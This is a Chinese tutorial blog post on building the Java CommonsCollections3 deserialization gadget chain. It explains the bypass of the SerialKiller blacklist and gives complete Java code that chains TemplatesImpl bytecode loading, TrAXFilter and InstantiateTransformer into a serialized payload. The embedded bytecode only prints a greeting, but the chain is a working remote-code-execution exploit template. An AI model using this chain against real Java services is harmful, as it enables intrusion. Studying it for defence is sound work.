zoukankan      html  css  js  c++  java
  • 反序列化Gadget学习篇五 CommonCollections3

    为什么需要CC3

    在2015年前后@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利用工具ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安 全的过滤方法,于是类似SerialKiller这样的工具随之诞生。
    SerialKiller是一个Java反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的 类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:

    包括了CC1使用的InvokerTransformer,这也就切断了CC1的利用链,为了绕过类似工具提供的限制,随后ysoserial增加了不少新的Gadgets,其中就包括CommonsCollections3。

    另外一个原因是,CC3使用了TemplatesImpl动态加载字节码的方式,可以执行任意java代码,实战意义更大,更好用。

    Gadgets 构造

    这部分涉及到java加载字节码的原理,参考Java中动态加载字节码的那些方法
    我们先尝试用TemplatesImpl + InvokerTransformer来构造一个利用链

    public static void main(String[] args) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null ,transformerChain);
    
    
        outerMap.put("test","xxx");
    }
    

    假设无法使用InvokerTransformer,那么需要找替代类,CC3找到了一个搭配TemplatesImpl的类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,这个类并不能像transformer一样执行任意方法,但是这个类的构造方法中调用了(TransformerImpl) templates.newTransformer();


    因此只要调用到TrAXFilter的构造方法,传入一个构造好的Templates即可触发。
    并使用另一个transformer:org.apache.commons.collections.functors.InstantiateTransformer替换InvokerTransformer
    InstantiateTransformer也是一个实现了Transformer接口的类,他的作用就是调用构造方法。新的Transformer链如下:

    Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(TrAXFilter.class),
                    new InstantiateTransformer(new Class[] {Templates.class} , new Object[]{obj})
            };
    


    当然也可以替换为lazymap或者CC6的触发方式,完成版本通杀

    补充完整,用序列化触发,复习一下前面的内容,HashMap不能序列化,需要用sun.reflect.annotation.AnnotationInvocationHandler,来封装

    完整代码:

    public static void main(String[] args) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
    
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] {Templates.class} , new Object[]{obj})
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
    
        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
    
        // 注意这里Retention.class 和上面innerMap.put("value", "xxx")的关联
        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
    
        setFieldValue(transformerChain, "iTransformers", transformers);
    
        // =================
        // 生成序列化字符串
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(handler);
        oos.close();
    
        // 本地反序列化
        ObjectInputStream bis = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        bis.readObject();
    }
        ```
    
  • 相关阅读:
    12_常用类
    MyBatis_02 框架
    MyBatis_01 框架
    正则表达式
    11_异常处理
    产品经理成长之路(非原创)
    【Java每日一题】20161115
    【Java每日一题】20161114
    【Java每日一题】20161111
    【Java每日一题】20161110
  • 原文地址:https://www.cnblogs.com/chengez/p/CommonCollections3.html
Copyright © 2011-2022 走看看